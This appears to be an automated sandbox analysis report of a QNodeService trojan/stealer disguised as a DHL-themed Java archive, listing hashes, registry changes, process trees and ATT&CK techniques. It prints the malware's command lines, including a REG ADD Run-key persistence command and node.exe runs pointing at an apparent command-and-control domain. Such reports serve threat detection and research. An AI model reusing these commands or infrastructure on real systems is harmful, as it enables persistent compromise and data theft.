qnodeservice | 36bf8b0e037807be427a282507832e6fe87bff08c198be3ad333e1032b9d968c

General

Target

DHL (2).jar
Size

248KB
MD5

bf7e85ce53f081b7fbf53cbc966d977b
SHA1

45f91fee6ba906415d0435e7ab26d6fc382ab2dd
SHA256

36bf8b0e037807be427a282507832e6fe87bff08c198be3ad333e1032b9d968c
SHA512

22d1bbb716cae019e2b85876fac3ce7de66974cb974c6f9b33655f8db2f64970f2432cbbfea02e1178367a9d50fccd4c96fa539fd1c72e3b0ed59de32e3b4484

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2864	node.exe
3800	node.exe
2544	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\59c3cd4c-04b4-4414-b53c-af928676c96b = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad9c-164.dat	js
behavioral2/files/0x000100000001ad9c-167.dat	js
behavioral2/files/0x000100000001ad9c-171.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2864	node.exe
2864	node.exe
2864	node.exe
2864	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe
2544	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 2036	3932	java.exe	74
PID 3932 wrote to memory of 2036	3932	java.exe	74
PID 2036 wrote to memory of 2864	2036	javaw.exe	78
PID 2036 wrote to memory of 2864	2036	javaw.exe	78
PID 2864 wrote to memory of 3800	2864	node.exe	80
PID 2864 wrote to memory of 3800	2864	node.exe	80
PID 3800 wrote to memory of 2544	3800	node.exe	81
PID 3800 wrote to memory of 2544	3800	node.exe	81
PID 2544 wrote to memory of 1720	2544	node.exe	83
PID 2544 wrote to memory of 1720	2544	node.exe	83
PID 1720 wrote to memory of 564	1720	cmd.exe	84
PID 1720 wrote to memory of 564	1720	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL (2).jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\237f32e0.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_P0RETs\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3800
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_P0RETs\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2544
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "59c3cd4c-04b4-4414-b53c-af928676c96b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1720
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "59c3cd4c-04b4-4414-b53c-af928676c96b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2544-172-0x0000028EB5A40000-0x0000028EB5A41000-memory.dmp

Filesize
4KB

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memory/2864-165-0x0000010E6BFC0000-0x0000010E6BFC1000-memory.dmp

Filesize
4KB

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memory/3800-168-0x000001CEE94C0000-0x000001CEE94C1000-memory.dmp

Filesize
4KB

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